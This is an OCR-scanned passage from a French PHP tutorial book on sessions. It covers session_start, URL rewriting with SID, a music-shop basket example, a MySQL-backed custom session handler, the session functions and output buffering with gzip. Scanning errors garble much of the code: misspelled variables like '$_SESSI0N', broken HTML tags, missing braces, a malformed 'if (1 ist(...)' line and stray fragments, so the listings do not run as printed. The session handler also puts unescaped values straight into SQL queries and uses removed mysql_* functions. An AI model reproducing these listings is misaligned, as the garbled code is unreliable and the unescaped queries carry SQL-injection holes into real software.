la duree de vie de la session n'excede quasiment jamais une journee. Les sessions ne sont done 
utilisees que pour conserver en memoire des informations tout au long de la visite du client 
(mais pas plus longtemps). Par consequent, il est meme conseille de mettre un terme a la 
session apres une periode donnee d'inactivite (de l'ordre de 20 mn, temps au-dela duquel on 
peut considerer que le visiteur a definitivement quitte le site) afin de liberer les ressources. 
Vous avez certainement rencontre ce genre de situation ou Ton vous demande de vous 
identifier a nouveau. 

En contrepartie, avec les sessions, vous pouvez etre sur que votre site fonctionnera quels que 
soient le navigateur et l'attitude du visiteur (rappelons qu'un visiteur peut refuser un cookie). 
L' autre difference principale reside dans le fait que les sessions sont stockees sur le serveur ; le 
controle des sessions est done gere a 100 % par l'auteur des scripts (il ne peut y avoir de 
modification ou de suppression par le visiteur). 

Comme cela a deja ete dit, a chaque utilisateur est attribue un identifiant de session. Afin de 
garder la trace de ce dernier, l'identifiant est transmis de page en page. Cela peut se faire de 
deux fagons : 

Par le navigateur qui, a chaque appel au serveur, communiquera le cookie contenant 
l'identifiant de session que le serveur lui aura prealablement demande de creer. 

Par le serveur qui, pour chaque page generee, completera les URL relatives des liens (done 
celles qui pointent vers le serveur lui-meme, mais pas les liens vers un site tiers) avec un 
parametre indiquant l'identifiant de session (e'est ce que Ton appelle 1"'URL rewriting" ou 
la reecriture d'URL). 
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La premiere solution est la plus simple pour le serveur, mais elle ne peut etre utilisee si le client 
refuse les cookies ; il faut alors se rabattre sur la seconde. Comme nous le verrons un peu plus 
loin, ceci peut se faire tant manuellement qu'automatiquement. 

Pour chaque page necessitant l'utilisation de variables de sessions, il faudra appeler la fonction 
session_start ( ) afin de permettre au serveur de determiner si un identifiant de session a 
deja ete assigne au visiteur. Si c'est le cas, il lui suffit de le recuperer soit dans le cookie soit 
depuis FURL, tout comme les valeurs des differentes variables ; sinon, il doit le creer, et le 
serveur doit demander la generation d'un cookie. Si celle-ci echoue, il optera alors pour la 
reecriture d'URL. 



session_start() 



Reclame l'utilisation de variables de sessions au cours du script. 
Syntaxe boolean session_start() 



retour true 



«@ 



session _start() etcookieQ : ami-ami 

II va de soi que si I'identifiant de session doit etre stocke dans un cookie, alors les 
contraintes d'utilisation de session_start ( ) sont les memes que celles de 
cookie (). Ainsi, session_start ( ) ne peut plus etre appele une fois le debut du 
document emis (i.e. une fois I'en-tete HTP envoye). 

II sera possible de se passer de l'appel a session_start ( ) si PHP est configure de telle sorte 
que le parametre session. auto_start dephp.ini soit active (i.e. mis a 1). 



Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur le 
fichier php.ini. 




RENVOI 



A la maniere des cookies, les variables de sessions sont disponibles directement dans le tableau 
$_session. Pour acceder a une valeur donnee, il suffit done d'appeler quelque chose comme 

$_SESSION[ "maVariable" ] (0U $HTTP_SESSION_VARS [ "ma Variable" ] pour les versions de 

PHP inferieures a 4.1). 



JJy Du passe faisons table rase 

^^^ Dans les versions de PHP anterieures a 4.2.0, la configuration par defaut fixait le 
ATTENTION parametre register _globals du fichier php.ini a on (active). Pour des raisons de 
securite (evoquees dans le chapitre traitant des variables externes) cela n 'est plus le 
cas. 
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AAvec ['option register _globals activee, le contenu de la variable de session etait 
directement disponible dans une variable portant le nom de la variable de session 
ATTENTION ($nomVariableSession). 



RENVOI 



Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur le 
fichier php.ini. 



Voici un exemple d'utilisation. II s'agit tout simplement d'un compteur qui est incremente a 
chaque appel de la page (si la variable de session n'existe pas, c'est qu'il s'agit d'une nouvelle 
session et le compteur est initialise a la valeur 0). 

<?php 

session_start() ; 

if (!isset($_SESSION[ , maVariable 1 ])) { 
$_SESSION['maVariable'] = 0; 

} 
else { 

$_SESSI0N [ ' maVari abl e ' ] ++; 
} 

echo $_SESSION['maVariable']; 
?> 

Pour gerer les sessions de facon optimale, il est possible de configurer PHP a l'aide des 
nombreuses options offertes par le fichier de configuration. 
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Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur le 
fichier php.ini. 



Ces options peuvent etre visualisees par un simple appel a phpinf o ( ) . 

Figure 4.6 : 
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Jusqu'a la version 4.1.1 (comprise), l'utilisation de la reecriture (automatique) d'URL ne 
pouvait se faire que si PHP avait ete compile avec l'option — enable-trans-sid. II fallait en 
outre l'activer ou la desactiver avec l'option session. use-trans-sid, introduite dans la 
version 4.0.3 (a positionner a 1 pour l'activer, sinon). 

Depuis la version 4.2.0, l'utilisation de la reecriture (automatique) d'URL ne necessite plus 
l'utilisation de directives de compilation. L'activation de ce precede ne depend plus que de 

l'option session. use-trans-sid (qui est, par defaut, activee). 

La liste des balises HTML controlees est definie dans le parametre url_rewriter . tags et, 
outre le fait que if rame n'apparaisse pas dans la liste, il faut garder a 1'esprit que tous les liens 
crees par des fonctions Javascript (par exemple) ne profiteront pas de cette manipulation. II 
faudra done necessairement ajouter manuellement l'identifiant de session a l'URL (si Ton 
souhaite que cela fonctionne avec les navigateurs refusant les cookies) pour ces liens. 

Exemple utilisant des sessions 

Q. 

£ Mise en situation 

j3 Reprenons le meme exemple que pour les cookies, e'est-a-dire celui d'un magasin de musique 

vendant trois instruments et proposant un panier virtuel aux visiteurs de son site Internet. 

Contenu des fichiers 
accueil.html 

Listing 4.5 : accueil.html 

<html> 
<head> 

<title>Mon magasin de musique</title> 
</head> 

<body bgcolor="#FFFFFF"> 
<p al ign="center"xt»Bienvenu chez MusicAGogo! ! !</bx/p> 
<p al ign="center">Votre panier est vide</p> 
<p al ign="center"> 
<a href ="i ni tial isation.php">cliquer ici pour le remplir </a> 

</P> 
</body> 
</html> 

Le script d'accueil est une simple page au format HTML, avec un lien vers le script 
d'initialisation des sessions. 
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initialisation.php 

Listing 4.6 : initialisation.php 

<?php 

session_start(); 

$_SESSI0N [' panier ' ] = array("guitare"=>0, 

"basse"=>0, 
"batterie"=>0); 
header("Location: ajout_article.php") ; 
?> 

Une fois la session existante rappelee ou creee, le tableau panier est initialise et stocke dans la 
session ; le navigateur du client est ensuite redirige vers la page d'ajout d'elements au panier. 

Ce script fonctionnera tel quel a condition que l'utilisateur accepte les cookies. 

Si ce n'est pas le cas, il fonctionnera egalement si la reecriture (automatique) d'URL est activee 
(sachant que ce script ne contient que des URL relatives). Vous constaterez alors que les URL 
(qui s'affichent dans la barre du navigateur) ont ete completees pour ajouter un identifiant de 
session. 

Dans les autres cas, si vous souhaitez que votre script fonctionne meme si le visiteur refuse les 
cookies, il faut ajouter a l'URL la chaine de caracteres stockee dans la constante sid (pour 
realiser manuellement ce que l'option session. use_trans_sia = l permet). Ce qui donne : 

header ("Location: ajout_article.php?" .SID) ; 

La constante sid est composee de la concatenation du nom de l'identifiant de session 
(disponible via la fonction session_name ( ) et qui par defaut vaut "phpsessid"), d'un signe 
egal et de la valeur de l'identifiant de session (disponible via la fonction session_id ( ) ). Ainsi, 
SID vaut session_name ( ) . " = " . session_id ( ) . 

a) out_article.php 

Listing 4.7 : ajoutarticle.php 

<?php 

session_start(); 
$panier=$_SESSION[' panier 1 ] ; 
switch (@$_GET["ajout"]) { 
case "guitare": 

Span ier["gui tare"] ++; 
break; 
case "basse": 

$panier["basse"]++; 
break; 
case "batterie": 

$panier["batterie"]++; 
break; 

} 
$_SESSION['panier'] = 
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array("guitare" => $panier["guitare"] , 

"basse" => $panier["basse"] , 

"batterie"=> $panier["batterie"] ) ; 
?> 

<html> 
<head> 

<title>Mon magasin de musique</title> 
</head> 
<body bgcolor="#FFFFFF"> 

<table border="4" cellspacing="4" 

eel 1 padding="4" al ign="center"> 
<tr al ign="center"> 
<td>Ajouter</td> 
<td>Votre commande</td> 
</tr> 
<tr al ign="center"> 

<tdxa href="ajout_article.php?ajout=guitare"> 

Une guitare</a> (199E) 
</td> 

<tdx?php echo $panier["guitare"]?> guitare(s)</td> 
</tr> 
<tr al ign="center"> 

<tdxa href="ajout_article.php?ajout=basse"> 

Une basse</a> (199E) 
</td> 

<tdx?php echo $panier["basse"]?> basse(s)</td> 
</tr> 
<tr al ign="center"> 

<tdxa href ="ajout_article.php?aj out =batterie"> 

Une batterie</a> (2499E) 
</td> 

<tdx?php echo $panier["batterie"]?> batterie(s)</td> 
</tr> 
</table> 
<p align="center"xa href="initialisation.php"> 

vider mon panier</ax/p> 
<p align="center"xa href="calcul_total .php"> 
calculer le total </ax/p> 
</body> 
</html> 

Une fois la session rappelee, la variable $panier est recuperee, puis $ajout est testee afin 
d'incrementer la bonne valeur. Une fois ce test effectue, la session est mise a jour avec les 
nouvelles valeurs. 

La encore, si votre serveur n'est pas configure pour realiser automatiquement la reecriture 
d'URL, vous devez completer les URL avec la constante sid si vous voulez qu'il fonctionne 
egalement pour les clients refusant les cookies. 
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calcul_total.php 

Listing 4.8 : calculjotal.php 

<?php 

session_start(); 

$panier = $_SESSION["panier"] ; 

$total = 0; 

$total += $panier["guitare"]*199; 

$total += $panier["basse"]*199; 

$total += $panier["batterie"]*2499; 
?> 

<html> 
<head> 

<title>Mon magasin de musique</title> 
</head> 

<body bgcolor="#FFFFFF"> 
<p align="center"> 

Le total de votre panier: <?php echo $total?> Euros. 

</P> 

<p align="center"> 

<a href="ajout_article.php">Modifier mon panier</a> 

</P> 

<p align="center"> 

<a href="initialisation.php">Vider mon panier</a> 

</P> 
</body> 
</html> 

Ce script est plus simple a comprendre que le precedent. La session est recuperee puis la 
variable $panier en est extraite. Bien entendu, si besoin est, il faut prendre soin, la encore, de 
passer l'identifiant de session en parametre. 

Stockage personnalise des variables de sessions 

Par defaut les variables de sessions sont stockees dans des fichiers temporaires (comme 
l'indique le parametre session . save_handler du fichier php.ini fixe a la valeur "files"). En 
modifiant ce parametre a user, il est possible de redefinir soi-meme la fagon dont seront gerees 
les sessions. 



, Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur le 
fichier php.ini. 




RENVOI 



II est, par exemple, possible de stocker les parametres dans une base de donnees (l'exemple que 
nous donnerons ici utilisera une base de donnees MySQL). 
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} Vous pouvez vous reporter au chapitre "L'utilisation des bases de donnees" pour en 
savoirplus sur l'utilisation de MySQL avec PHP. 



Pour cela, nous creerons une table avec trois champs : l'identifiant de session, la date 
d'expiration, et la valeur des variables de sessions. Notez bien que les variables de sessions 
seront automatiquement serialisees et deserialisees (autrement dit, toutes les valeurs seront 
regroupees en une chaine de caracteres et inversement. Voir plus loin les fonctions 
session_encode ( ) et session_decode ( ) ) par PHP). 

Voici la syntaxe SQL pour la table sessions. 

CREATE TABLE sessions ( 

idsession CHAR(32) NOT NULL, 
expiration INT(ll) NOT NULL, 
valeur TEXT NOT NULL, 
PRIMARY KEY (idsession) 

); 

Pour gerer les sessions, PHP appelle six fonctions. Pour personnaliser l'utilisation des sessions, 
il faut done creer six fonctions auxquelles PHP fournira les parametres, et indiquer a PHP 
d'utiliser ces fonctions en lieu et place des fonctions par defaut. 

boolean ouvrirSession($cheminSession, $nomSession) 

Cette fonction permet d'initialiser la gestion de sessions. En parametre, Ton trouve le chemin 
(dans le cas d'une gestion par fichiers) ou stocker les sessions. II s'agit en fait du parametre 
session. save_path du fichier php.in i qui peut contenir n'importe quelle information sans 
que ce soit necessairement un chemin. $nomSession est le nom de la session tel qu'il est defini 
dans le fichier de configuration de PHP sous le nom session. name (par defaut, e'est 
phpsessid). 

Elle devra retourner true en cas de succes, false sinon. 

Dans notre exemple, cette fonction servira a etablir la connexion avec la base de donnees. 

boolean fermerSession() 

Cette fonction permet de liberer d'eventuelles ressources occupees pour la gestion des sessions. 

Elle devra retourner true en cas de succes, false sinon. 

Dans notre exemple utilisant une connexion persistante, rien n'aura besoin d'etre fait dans 
cette fonction. Sinon, nous aurions pu envisager de clore la connexion. 

boolean ecrireSession($idSession, $valeur) 

C'est a cette fonction que Ton va indiquer comment stocker les variables de sessions. 
$idSession est l'identifiant de session, qui servira a stocker la session (il pourra servir a definir 
le nom du fichier, qui sera done unique, ou une entree en base de donnees...). $valeur est la 
valeur a stocker dans la session ; elle est fournie serialisee. 

Elle devra retourner true en cas de succes, false sinon. 
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Dans notre exemple, c'est ici qu'il faut faire l'insertion en base de donnees en faisant attention 
de creer une nouvelle entree s'il n'existe pas d'entree pour cet identifiant, ou de modifier 
l'entree existante. 

mixed lireSession($idSession) 

La fonction de lecture a pour parametre un identifiant de session. II faut retourner la valeur 
(serialisee) sauvegardee, ou false en cas d'erreur. 

Dans l'exemple, il suffira de faire une recherche dans la table de la valeur correspondant a la 
l'identifiant de session fourni. 

boolean detruireSession($idSession) 

Cette fonction detruit la session dont l'identifiant est passe en parametre. 

Elle devra retourner true en cas de succes, false sinon. 

Dans notre exemple, il suffira de supprimer l'entree correspondant a l'identifiant passe en 
parametre. 

boolean nettoyerSession($dureeVie) 

C'est la fonction qui sera appelee aleatoirement pour nettoyer les sessions invalides. La duree 
de vie, definie dans le fichier de configuration par le parametre session . gc_maxiif etime, est 
passee en parametre. 

Elle devra retourner true en cas de succes, false sinon. 

Dans notre exemple, il suffira de supprimer toutes les entrees dont la date d'expiration est 
passee. 

Enfin, pour indiquer a PHP d'utiliser les fonctions ainsi definies, vous devrez faire appel a la 
fonction session_set_save_handler ( ) . 



session_set_save_handler () 



Indique a PHP d'utiliser des fonctions personnalisees pour la gestion des sessions. 

Syntaxe void session_set_save_handler (function $ouvrirSession, 

function $fermerSession, function $1 ireSession, function 
$ecrireSession, function $detruireSession, function 
$nettoyerSession) 

$ouvri rSessi on Nom de la fonction a appeler a l'ouverture de la session (cf. ci-avant). 

$f ermerSessi on Nom de la fonction a appeler a la fermeture de la session (cf. ci-avant). 

$1 i reSess i on Nom de la fonction a appeler a la lecture du contenu d'une session. 

$ecri reSessi on Nom de la fonction a appeler a la sauvegarde du contenu d'une session. 

$detrui reSessi on Nom de la fonction a appeler a la destruction du contenu d'une session. 

$nettoyerSess i on Nom de la fonction a appeler pour detruire les sessions perimees. 
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session_mysql.php 

Listing 4.9 : sessionmysql.php 

<?php 

define("HOTE", "localhost"); 
define("UTILISATEUR", "root"); 
define("MOT_DE_PASSE", "MotDePasse") ; 
define("BASE_DE_DONNEES", "biblephp"); 

define("DUREE_VIE_SESSION", get_cfg_var("session.gc_maxl ifetime")) ; 

$connexionSession = ""; 

function ouvrirSession($cheminSession, $nomSession) 

{ 

global $connexionSession; 

SconnexionSession = mysql_pconnect(HOTE, UTILISATEUR, MOT_DE_PASSE) 
e or die("Impossible de se connecter a la base de donnees"); 

CO 

CD 

J2 mysql_select_db(BASE_DE_DONNEES, $connexionSession) 

c or die("Base de donnees introuvable") ; 

u return TRUE: 



} 

function fermerSession() 

{ 

return TRUE; 

} 

function ecrireSession($idSession, $valeur) 

{ 

global $connexionSession; 

if (mysql_query("INSERT INTO sessions VALUES 
C$idSession' , 

".(time()+DUREE_VIE_SESSION).", 
'$valeur')", $connexionSession)) { 
return TRUE; 
} else { 

return mysql_query(" UPDATE sessions SET expiration = 

".(time()+DUREE_VIE_SESSION).", valeur = '$valeur' 
WHERE idSession = ' $i dSessi on ' " , $connexionSession) 



function 1 i reSes s i on ($ idSession) 

{ 

global $connexionSession; 

$requete = mysql_query("SELECT valeur FROM sessions 
WHERE idsession='$idSession' 
AND expiration > " . time(), 
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$connexionSession) ; 
if (1 ist($valeur) = mysql_fetch_row($requete); 

return $valeur; 
} else { 

return FALSE; 



} 



function detruireSession($idSession) 

{ 

global $connexionSession; 

return mysql_query("DELETE FROM sessions 

WHERE idsession='$idSession' ", 
$connexionSession) ; 
} 

function nettoyerSession($dureeVie) 
{ 

global $connexionSession; 

return mysql_query("DELETE FROM sessions 

WHERE expiration < " . time(), 
$connexionSession) ; 
} 

session_set_save_handler("ouvrirSession", 

"fermerSession", 

"lireSession", 

"ecrireSession", 

"detruireSession", 

"nettoyerSession") ; 
?> 



Adapter le script a votre environnement 

Les quatre constantes hotr utilisateur, mot_de_passe et base_de_donnees 
doivent etre renseignees selon votre configuration. 

Compte tenu des remarques precedentes, il n'est pas difficile d'ecrire soi-meme ce type de 
script. 

La duree de vie d'une session est recuperee depuis le fichier de configuration grace a la fonction 
get_cf g_var ( ) . Cette valeur nous servira a determiner la date d'expiration des sessions. 

testphp 

Ceci est un fichier permettant de tester la gestion des sessions telle qu'on vient de la definir. 

Listing 4.10 : test.php 

<?php 

include("session_mysql .php") ; 
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session_start() ; 

if (!isset($_GET["valeur"])) { 
$_GET["valeur"] = 0; 

} 

if ( (!isset($_GET["action"])) 

| | (!isset($_SESSION["variableSession"]); 
$_GET["action"] = "initialiser"; 
} 



CD 



CO 

(D 



switch($_GET["action"]) { 
case "detruire": 

session_destroy(); 

break; 
case "gc": 

nettoyerSession(get_cfg_var("session.gc_maxlifetime")) ; 

break; 
case "incrementer" : 

$_SESSION["variableSession"]++; 

break; 
case "initialiser": 

$_SESSION["variableSession"] = 0; 

break; 

} 

?> 

<html> 

<headxti tl e>Test</ti tl ex/head> 

<body> 

<P> 

Valeur courante:<?php echo $_SESSION["variableSession"]?> 

<br /> 

<a href =" test. php?action=incrementer"> 

Incrementer la variable de session</a> 
<a href="test.php?action=detruire">Destruction de la session</a> 
<a href="test.php?action=gc">Forcer le gc</a> 

</P> 
</body> 



Ce script tres simple se contente d'afficher la valeur d'une variable de session, et de proposer 
trois liens : un pour 1'incrementer, un pour detruire la session et un pour forcer l'appel au 
garbage collector charge de supprimer les sessions perimees. 



^■^^ 



Fichier Edition Affichage Favoris Outils ? 

Q Precedente - C \*\ \£\ ; /J) O Rechercher "vV Favoris 

http://192.168.0.1/sessionhandling/test,php?action=incrementer v ijj OK Lie vr- 



Valeur cotsrante:4 

:;..■■. I'; :: [':!:■.; : : .■.■■-.- ■ ■:■.■; ■ : \ ■ ::.; ■ ; :.■■ - ;. :•.; ■;■■ .;.; 
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Figure 4.7 : 

Interface de test 



282 



Sessions 



Clore une session 

II n'est generalement pas possible de determiner quand mettre fin a une session. En effet, pour 
cela, il faudrait savoir quand le visiteur a quitte le site. C'est pourquoi il faut generalement 
attendre la fin du delai d'expiration pour voir les sessions disparaitre. Toutefois, si vous 
proposez sur votre site un lien Deconnexion, il vous sera possible de f aire proprement appel a la 
fonction session_destroy( ) (Ce qui evitera en plus qu'un autre utilisateur partageant le 
meme poste de travail puisse acceder au compte du precedent). 



session_destroy() 

Detruit les variables de la session en cours. 

Syntaxe boolean session_destroy(void) 

retour TRUE en cas de succes, FALSE sinon. 

II est souhaitable de vider au prealable le contenu des variables de sessions. Ainsi le script de 
deconnexion pourra ressembler a : 

<?php 

session_start() ; 

$_SESSI0N = array (); 

session_destroy() ; 

echo "Au revoir, et a bientot"; 
?> 



Les autres fonctions 

Comme cela a ete precise, les variables composant une session sont serialisees avant d'etre 
stockees (par defaut, dans un fichier), et deserialisees apres avoir ete recuperees. Pour realiser 
manuellement cette operation, vous devez faire appel aux fonctions session_code() et 
session_decode ( ) . 




session_encode() 



Serialise la session (convertit l'ensemble des variables de sessions en une chaine de caracteres 
unique). 

Syntaxe string session_encode(void) 

retour Chaine encodee avec le contenu de la session. 
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session_decode() 

Deserialise une chaine de caracteres contenant des variables de sessions (recreant ainsi 
1'ensemble des variables de la session). 

Syntaxe boolean session_decode (string $variable) 

$vari abl e Chaine de caracteres a deserialiser. 

retour TRUE en cas de succes, FALSE sinon. 

D'autres fonctions, moins souvent utilisees, sont disponibles pour la gestion des sessions. II est 
par exemple possible de remplacer l'utilisation des parametres habituellement definis dans le 
fichier php.ini par des parametres fixes par le script. 



session_module_name () 



Permet de definir ou de connaitre le gestionnaire de sessions utilise (habituellement defini par 
S le parametre session . save_handler de php.ini). 

Syntaxe string session_module_name([string $gestionnaire] ) 

$gestionnaire Indiquer (cf. session_set_save_handler ( ) ) : 

"files" si les donnees de session doivent etre stockees "simplement" dans 

des fichiers temporaires. 

user si elles doivent etre stockees en utilisant les fonctions 

personnalisees. 

retour Le gestionnaire de sessions utilise a savoir files" ou "user". 



session_save_path () 



Permet de definir ou de connaitre ['emplacement ou seront sauvees les sessions 
(habituellement defini par le parametre session, savejath dephp.ini). 

Syntaxe string session_save_path([string $chemin]) 

$chemi n Chemin que Ton souhaite definir en tant que repertoire pour stocker les 

sessions. 

retour Nom du repertoire ou sont stockes les fichiers temporaires de session. 
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session_name() 



Permet de definir ou de connaitre le nom du parametre de l'URL contenant l'identifiant de 
session (habituellement defini par le parametre s ess ion. name dephp.ini). 

Syntaxe string session_name([string $nomIdSession]) 

$nomIdSessi on Nouveau nom du parametre d'identifiant de session, 

retour Nom de l'identifiant de session (par defaut PHPSESSID). 



session_id() 



Permet de definir ou de connaitre l'identifiant de session attribue au visiteur. 
Syntaxe string session_id([string $idSession]) 

$i dSessi on Nouvel identifiant de session a utiliser. 

retour Identifiant de session utilise. 



session_regenerate_id () 




Permet de regenerer un nouvel identifiant pour une meme session. Cette fonction a ete 
introduite avec PHP 4.3.2. 

Syntaxe: boolean session_regenerate_id(void) 

retour TRUE si un nouvel identifiant a ete regenere, FALSE sinon. 

II est egalement possible de connaitre ou de fixer les parametres du cookie charge de 
sauvegarder l'identifiant de session sur la machine du visiteur (sans tenir compte des 
parametres definis dans le iichiei php.ini). 



session_get_cookie_params () 



Permet de recuperer les informations du cookie de session. 

Syntaxe array session_get_cookie_params(void) 

retour Tableau associatif contenant les informations du cookie. On y retrouve : 

"lifetime", la duree de vie du cookie. 

"path" le chemin ou est stocke le cookie. 

"domain" le domaine sur lequel le cookie est valable. 

"secure" un booleen indiquant si le cookie ne doit etre envoye que par 

une connexion securisee. 



285 



CD 



CO 

CD 



Chapitre 4 Les en-tetes HTTP 

session_set_cookie_params () 

Permet de definir les parametres du cookie de session. 

Syntaxe void session_set_cookie_params(int $dureeVie [, string $chemin 

[, string $domaine]]) 

$dureeVie Nouvelle duree de vie en secondes (habituellement definie par le 

parametre session . cookie_lif etime du iichitx php.ini). 

$chemi n Chemin ou le cookie est valide (habituellement defini par le parametre 

session . cookie_path du fichier php.ini). 

$domaine Domaine de validite du cookie (habituellement defini par le parametre 

session . cookie_domain du fichier php.ini). 

Les pages utilisant des variables de sessions presentent generalement un aspect different d'un 
appel a l'autre, sans que leur URL ne soit modifiee. Pour que le visiteur puisse profiter des 
modifications apportees a la page, il faut absolument interdire 1'utilisation du cache par le 
navigateur. C'est pour cela que, par defaut, les pages faisant appel aux sessions demandent 
egalement l'interdiction de la mise en cache. Mais ces parametres peuvent etre modifies avec la 



22 fonction suivante 



session_cache_limiter () 



Permet de definir ou de connaitre la restriction du cache appliquee (habituellement definie par 
le parametre session. cache_limiter (le php.ini). 

Syntaxe string session_cache_l imiter([string $restriction_cache] ) 

$restriction_cache Ce parametre peut prendre les valeurs : 

"nocache" si Ton souhaite que le client ne mette pas la page dans le cache. 

"public" (ou "private" qui est legerement plus restrictif) pour 

autoriser la mise en cache. 

"pr ivate_no_expire" (depuis la version PHP 4.2.0) permet de ne pas 

envoyer l'en-tete Expire qui causait des problemes avec la restriction du 

cache. 

retour Retourne la restriction du cache en cours. 



session_cache_expire () 



Permet de definir ou de connaitre la duree avant expiration du cache (habituellement definie 
par le parametre session. cache_expire dephp.ini). Cette fonction a ete introduite a partir 
de la version 4.2.0. 
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Syntaxe int session_cache_expire([int $expirationCache] ) 

$expi rati onCache Nouvelle valeur (en secondes) d'expiration du cache, 
retour Retourne la valeur actuelle d'expiration du cache. 

Vous disposez aussi de : 



session_write_close () 



Termine la session et enregistre les variables de sessions, ce qui est automatiquement fait a la 
fin des scripts. Attention, dans ce cas, aucune reecriture d'URL ne sera effectuee. 

Syntaxe void session_write_close(void) 

Les fonctions historiques 

Les fonctions suivantes ne doivent plus etre utilisees (pas avec le tableau $_session, ni meme 
d'ailleurs avec $http_session_vars) : 

session_register ( ) permettait de definir une variable globale comme etant une variable de 
session. Ainsi, register ( "mavariabie" ) ; faisait de $mavariable une variable de session. 
Avec l'utilisation de $_session [ "ma variable" ] , aucun doute n'est possible. 

session_unregister ( ) mettait simplement un terme a l'association entre la variable et une 
variable de session. Avec $„session, il n'y a evidemment pas besoin d'equivalent. 

session_is_registered( ) permettait de tester si une variable etait une variable de session. 
La encore, avec $_session, il n'y a pas besoin d'equivalent. 

session_unset ( ) permettait de liberer le contenu des variables de sessions. Avec $_session, 
il suffit de faire $_session = array (). 



4.5. Mise en cache avant emission des donnees 
Les fonctions de base 

Une serie de fonctions de controle de sortie permet de gerer soi-meme remission des donnees. 

Habituellement, le fait de generer le document (avec les commandes echo ou print par 
exemple), et done d'envoyer l'en-tete HTTP avant de faire appel a une fonction modifiant 
l'en-tete, aboutit inexorablement au message d'erreur suivant : "Cannot add header information 
- headers already sent". II est possible d'eviter ceci en demandant de ne pas envoyer les elements 
du document au moment ou ils sont generes, mais de le faire une fois tous les elements de 
l'en-tete definis. 

Pour cela, nous disposons des fonctions ob_start ( ) et ob_end_f lush ( ) . 
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ob_start() 



Demande la mise en cache de ce qui va sur la sortie standard (ce qui est destine au client). 

Syntaxe void ob_start( [function $fonction]) 

$fonction Fonction a appliquer sur le contenu du cache (cf. compression des 

donnees). 



ob_end_flush() 



Met fin a la mise en memoire de la sortie et emet le contenu du cache vers le navigateur. 

Syntaxe void ob_end_flush(void) 

Ainsi, l'exemple suivant ne generera pas d'erreur malgre l'appel a setcookie ( ) apres un 
echo. 

<?php 

ob_start() ; 

echo "J'envoie du texte sur la sortie avant de definir un cookie"; 

setCookie("cookie", "je defini un cookie apres avoir ecrit du texte"); 

ob_end_flush() ; 

?> 

Le fichier de configuration de PHP permet d'activer systematiquement le systeme de cache, 
grace au parametre output_buf f ering. Cela revient alors a placer ob_start ( ) au debut de 
chaque script, et ob_end_f lush ( ) , qui a pour effet d'afficher le contenu du cache a la fin. 



>>" 



RENVOI 



Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur le 
fichier php.ini. 



A Ne pas ceder a lafacilite 

^^\ Mime si I'utilisation du systeme de cache permet de melanger allegrement generation 
ATTENTION du document et generation de Ven-tete HTTP, il est fortement conseille (pour des 
raisons de performance) de se passer de I'utilisation de ces fonctions (dans ce 
cadre-la). D'autant qu'il est generalement facile de s'affranchir de la difficulte que 
cela pourrait engendrer. II est de toute facon de bon usage de commencer un script 
par toutes les operations de traitement avant les operations de mise en page. 
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Compression des donnees 



La plupart des navigateurs, dont Internet Explorer et Netscape, permettent la decompression 
transparente des donnees (les types de compression supported sont precises dans la variable 
externe $_server [ " http_accept_encoding " ] ). Si le serveur detecte que le navigateur du 
client supporte la compression Gzip (par exemple), il peut decider d'envoyer des donnees 
compressees a celui-ci, qui les decompressera avant de les afficher. Cette procedure sera 
totalement transparente pour l'utilisateur qui ne verra qu'un gain en terme de temps de 
telechargement des pages. 

Bien entendu, cette procedure demandera un petit peu plus de travail au serveur, mais si 
celui-ci est suffisamment puissant, son utilisation est avantageuse question rapidite. 

Pour cela, il suffit de specifier le parametre "fonction de compression" de la fonction 
ob_start(). Cette fonction qui peut etre une fonction personnalisee doit accepter un 
parametre de type chaine de caracteres, et simplement en retourner la version compressee. 

Voici un morceau de script a mettre en debut de chacun de vos scripts pour utiliser la 
compression Gzip. 

<?php 

function compression($sortie) 

{ 

// Cette fonction ne fait que retourner la compression de la chaTne 

// de caracteres precisee en parametre. 

return gzencode($sortie) ; 
} 

// Verification du support de gzip par le client 
if (strstr($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')) { 

// Debut de mise en memoire en fournissant comme parametre 

// la fonction a appliquer sur la sortie 

ob_start("compression") ; 

// Previent le navigateur que les donnees sont compressees. 

header("Content-Encoding: gzip") ; 

} 
?> 



REMARQUE 



Gzip 

Vous devrez avoir compile PHP avec I'option —with-zlib pour pouvoir effectivement 
profiter de la compression Gzip. 



La fonction compression ( ) passee en parametre a ob_start ( ) est appelee juste avant l'envoi 
du resultat. Bien evidemment, ici, nous aurions pu nous passer de la fonction compression ( ) 
et ecrire directement ob_start ( "gzencode" ) . Qui plus est, depuis la version 4.0.4, PHP 
propose une fonction appelee ob_gzhandler ( ) permettant de compresser les donnees en 
fonction du navigateur, en utilisant soit Deflate soit Gzip (voire ne compressant pas). 

Tout le script precedent peut done se reduire a : 

<?php 

ob_start("ob_gzhandler") ; 
?> 
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Si vous souhaitez utiliser systematiquement la fonction ob_gzhandler ( ) , vous pouvez alors 
vous dispenser d'ajouter cette ligne au debut de tous les scripts, simplement en modifiant le 
fichier de configuration /?/!/?./«/ pour avoir la ligne suivante : 

output_handler = ob_gzhandler 

Mais jusqu'ou peut-on aller dans la simplification ? Ace stade, on ne peut plus faire grand 
chose... 

L'exemple du premier script reste cependant utile dans certains cas, que vous pouvez imaginer 
vous-meme. II est en effet facultatif d'utiliser une fonction de compression, alors pourquoi ne 
pas, par exemple, appliquer une fonction qui rendra plus lisible le code HTML retourne pour 
deboguer vos scripts ? II est egalement envisageable de ne produire que du XML et d'appliquer 
une feuille de styles au moment du rendu. 



Optimisation des temps de reponse 



II est a tout moment possible de faire appel au contenu du cache, ce qui peut se reveler vraiment 
tres interessant. 

L'utilisation la plus interessante apparait lorsque vous proposez un site contenant des pages 
dont le contenu peut prendre un certain temps a etre genere (parce qu'il fait appel a une base 
de donnees, que le traitement des donnees est relativement long, etc.), mais qui varie peu dans 
le temps (dont le meme resultat pourra etre propose a differents visiteurs sur une periode 
donnee). 

Dans ce cas, plutot que de renouveler les operations de traitement (et d'acces a la base de 
donnees) a chaque appel, il est preferable de generer le document (pour le premier visiteur) et 
de le stocker sous sa forme HTML (ou image, ou autre) afin de restituer le fichier tout pret 
pour les visiteurs suivants. II faudra simplement prendre soin de recreer ce document a 
intervalles reguliers coincidant avec la frequence de mise a jour des donnees. 

Voyons maintenant comme proceder. 

La fonction permettant de recuperer le contenu du cache s'appelle ob_get_content ( ) . 



ob_get_contents() 

Recupere le contenu actuel du cache. 

Syntaxe string ob_get_contents(void) 

